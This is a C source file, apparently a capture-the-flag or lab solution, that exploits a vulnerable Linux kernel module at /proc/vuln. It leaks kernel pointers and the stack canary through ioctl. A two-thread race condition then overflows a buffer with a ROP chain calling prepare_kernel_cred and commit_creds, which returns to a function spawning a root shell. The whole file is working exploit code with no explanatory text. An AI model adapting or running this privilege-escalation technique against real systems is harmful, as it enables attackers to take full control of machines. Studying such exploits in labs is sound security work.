1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> #include <sys/types.h>
int fd; typedef struct data { char *content; size_t length; } data; data storage; size_t buffer[0x100]; size_t buffer1[0x100];
long Setmax(unsigned long size) { return ioctl(fd, 0x10, size); }
long Leak(char *buf, size_t length) {
storage.content = buf; storage.length = length; return ioctl(fd, 0x40, buf); }
long Save() { return ioctl(fd, 0x30, NULL); }
int is_running = 1;
long Add(char *buf, size_t length) { storage.content = buf; storage.length = length; return ioctl(fd, 0x20, &storage); }
void *ThreadWriteData() { puts("[+] Start Write Data"); while (is_running) { size_t ret = Add(buffer1, 100); if (ret == 0x200) { is_running = 0; puts("[+] Win race condition"); } } }
void *ThreadChangeLength() { puts("[+] Start Write Data"); while (is_running) { storage.length = 0x200; } }
size_t user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;"); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); }
void backdoor() { system("id"); system("/bin/sh"); }
int main() {
fd = open("/proc/vuln", O_RDWR);
if (Setmax(0x200) != 0x200) { puts("[+] Set max failed"); return 0; } puts("[+] Set max success"); buffer[0] = 240; if (!Leak(buffer, 0xe8)) { puts("[+] Leak failed"); return 0; } puts("[+] Leak success"); unsigned long kernel_leak = buffer[29]; unsigned long kernel_base = kernel_leak - 0x35691f; unsigned long canary = buffer[22]; size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xc00a2f; size_t prepare_kernel_cred = kernel_base + 0x895e0; size_t commit_creds = kernel_base + 0x892c0; size_t pop_rdi_ret = kernel_base + 0x2c3a;
printf("kernel leak : %p\n", kernel_leak); printf("kernel base : %p\n", kernel_base); printf("canary : %p\n", canary); for (int i = 0; i < 30; i++) { printf("idx : %d : 0x%llx\n", i, (size_t)buffer[i]); } save_user_land(); int idx = 0x1e; buffer1[idx++] = canary; idx++; idx++; idx++; buffer1[idx++] = pop_rdi_ret; buffer1[idx++] = 0; buffer1[idx++] = prepare_kernel_cred; buffer1[idx++] = commit_creds; buffer1[idx++] = swapgs_restore_regs_and_return_to_usermode + 22; buffer1[idx++] = 0; buffer1[idx++] = 0; buffer1[idx++] = backdoor; buffer1[idx++] = user_cs; buffer1[idx++] = user_rflags; buffer1[idx++] = user_sp; buffer1[idx++] = user_ss;
pthread_t tChangeLength; pthread_t tWriteData;
pthread_create(&tChangeLength, NULL, ThreadChangeLength, NULL); pthread_create(&tWriteData, NULL, ThreadWriteData, NULL);
pthread_join(tChangeLength, NULL); pthread_join(tWriteData, NULL);
while (1) { if (!is_running) { Save(); break; } } return 1; }
|